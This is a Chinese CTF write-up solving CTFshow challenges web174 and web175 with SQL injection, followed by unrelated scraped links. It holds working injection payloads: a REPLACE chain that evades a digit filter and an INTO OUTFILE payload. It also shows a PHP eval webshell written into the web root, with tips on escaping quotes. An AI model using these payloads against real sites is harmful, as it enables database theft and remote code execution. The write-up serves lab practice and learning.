web174

username != 'flag' 过滤

  • 作用:排除username字段值为flag的记录

LIMIT 1 结果限制

  • 作用:仅返回查询结果的第一条记录

这里如果返回数据中包含 flag 字样,或者包含数字0-9,则不会输出

尝试常规思路,发现查询语句的内容也不能出现数字

1'union select NULL,NULL--+

查表名就不行了,表名为 ctfshow_user4,包含了数字不能直接查

payload:

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

flag在password里面,将里面的数字用大写的英文代替

然后写一个简单的py代码还原即可

str_flag = (input("输入"))
replace_flag = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}
for i,k in replace_flag.items():
str_flag = str_flag.replace(i,k)
print(str_flag)

web175

返回逻辑

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

正则匹配过滤掉的是所有 ASCII 字符

用到 into outfile,贴一段payload

1'union select table_name,1 from information_schema.tables where  table_schema=database() into outfile '/var/www/html/111.txt'--+

前面和正常查询的语句一样后面把结果写入111.txt,这样就解决了没有回显的问题了

————————————————————————————————————————

扩展:

同理我们这边可以写入一句话木马到php文件里面getshell

其中遇到的一点问题

-1'union select '<?php eval($_POST[a]);?>',1  into outfile '/var/www/html/xqx.php'--+

这个payload可以正常写入,但是

-1'union select '<?php eval($_POST['a']);?>',1  into outfile '/var/www/html/xqx.php'--+

这个payload给a加上了引号,无法写入

询问大佬后发现原因

引号和前面的闭合了,可以用转义符\解决

-1'union select '<?php eval($_POST[\'a\']);?>',1  into outfile '/var/www/html/xqx.php'--+

CTFshow web174/175的更多相关文章

  1. 1Z0-053 争议题目解析175

    1Z0-053 争议题目解析175 考试科目:1Z0-053 题库版本:V13.02 题库中原题为: 175.You are peer reviewing a fellow DBAs backup p ...

  2. 中国175个 AAAAA级风景区,去过20个 以上,你就是旅游达人

    省份 数量 景区名称 我 北京 7 故宫博物院 1 天坛公园 颐和园 1 八达岭-慕田峪长城旅游区 1 明十三陵景区(神路-定陵-长陵-昭陵) 恭王府景区 北京奥林匹克公园(鸟巢-水立方-中国科技馆- ...

  3. [No00002C]人的寿命应该能达到100至175岁-北大齐教授健康讲座笔录

      人的寿命应该能达到100 至175 岁,为什么都没有达到呢?最主要一个原因就是我们不重视保健,不懂得保健的知识.很多人死于无知,这很冤枉啊! 大家知道怎么保健吗?国际上有个维多利亚宣言,宣言里有三 ...

  4. EF Oracle:错误 175

    错误 1 错误 175: 具有固定名称“Oracle.DataAccess.Client”的 ADO.NET 提供程序未在计算机或应用程序配置文件中注册或无法加载.有关详细信息,请参阅内部异常. 安装 ...

  5. mac安装protobuf2.4.1时报错./include/gtest/internal/gtest-port.h:428:10: fatal error: 'tr1/tuple' file not found和google/protobuf/message.cc:175:16: error: implicit instantiation of undefined template

    通过网上下载的protobuf2.4.1的压缩文件,然后进行安装,./configure和make时遇到了两个问题. 正常的安装步骤如下: ./configure make  make check m ...

  6. 调用ffmpeg库编译时出现common.h:175:47: error: 'UINT64_C' was not declared in this scope

    解决办法 出现错误:jni/ffmpeg/libavutil/common.h:175:47: error: 'UINT64_C' was not declared in this scope 解决: ...

  7. 错误 175: 具有固定名称“MySql.Data.MySqlClient”的 ADO.NET 提供程序未在计算

    问题描述:错误 175: 具有固定名称“MySql.Data.MySqlClient”的 ADO.NET 提供程序未在计算 原因描述:一.首先我的系统是因为是win10 的有问题,重新装了系统. 二. ...

  8. select id from BS_BU_RULETYPE t start with t.PARENT_ID = 175 connect by t.PARENT_ID = prior t.id

    select id from BS_BU_RULETYPE t start with t.PARENT_ID = 175 connect by t.PARENT_ID = prior t.id

  9. SQK Server实现 LeetCode 175 组合两个表

    175. 组合两个表 SQL架构 表1: Person +-------------+---------+ | 列名 | 类型 | +-------------+---------+ | Person ...

  10. ctfshow之Web入门刷题记(从89开始,持续更新)

    0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...

随机推荐

  1. C# Winform 中使用字体图标

    http://www.bubuko.com/infodetail-1923328.html 需要将 &#x 替换成 \u 最终是\ue603 //使用方法protected override ...

  2. YOXO_ERP管理系统怎么操作?

    YOXO_ERP管理系统怎么操作? YOXO_ERP系统是由订单管理 .售后管理(客户管理).入账管理.未到款发货.入库.付款.成品出库.库存管理.供应商管理八大板块组成的一个集仓管.客货.发货.供应 ...

  3. ts类型声明

    declare一般写在类声明/定义/描述文件xx.d.ts中,表示声明作用.可以用来声明变量(var/let/const).方法(function).命名空间(namespace).类(class). ...

  4. 03数字ic综合文件内部对象

    数字IC综合中的内部对象深度解析 目录 1. 概述 ️ 2. 设计对象体系结构 3. 核心对象详解 4. 对象获取与操作 5. 高级对象操作技巧 6. 实战应用案例 7. 最佳实践与注意事项 1. 概 ...

  5. 前端开发系列008-基础篇之JavaScript包装类型

    本文主要介绍JavaScript中的基本包装类型以及使用注意点. 一.基本包装类型介绍 基本(简单)数据类型 字符串 + 数值 + null + undefined + 布尔值 为了便于操作基本类型, ...

  6. 2021牛客寒假算法基础集训营1 ABFI 题解

    A 题意:问你含有us子序列的,长度不大于n的串有多少(都是小写字母) 思路:其实每个位置可填放的字符就三种, u,s,和其他24个字符. 由于要求含有us子序列的串比较麻烦,正难则反,我们可以先求出 ...

  7. fowsniff WP

    下载地址: https://download.vulnhub.com/fowsniff/Fowsniff_CTF_ova.7z category:重要 awk剪切得到字典,巩固awk使用技巧 motd ...

  8. Product-Mechanics: 塑料:开模+挤塑量产

    1. "业务广告"+"金属模具样品": 2. 生产设备: 3. 原料 4. 需求图:3D模型图: 5. 模具量产的成品

  9. Linguistics-English-Phonetics: IPA(International Phonetic Alphabet) Chart With Sounds

    IPA(International Phonetic Alphabet) Chart With Sounds https://www.internationalphoneticalphabet.org ...

  10. babylon.js 学习笔记(8)

    接上回继续,现在的村庄已经有点象样了,但是远处的背景仍比较单调(如下图),今天来学习如何处理天空背景. babylon.js中,把整个空间假象成一个巨大的立方体(称为SkyBox),然后依次给立方体的 ...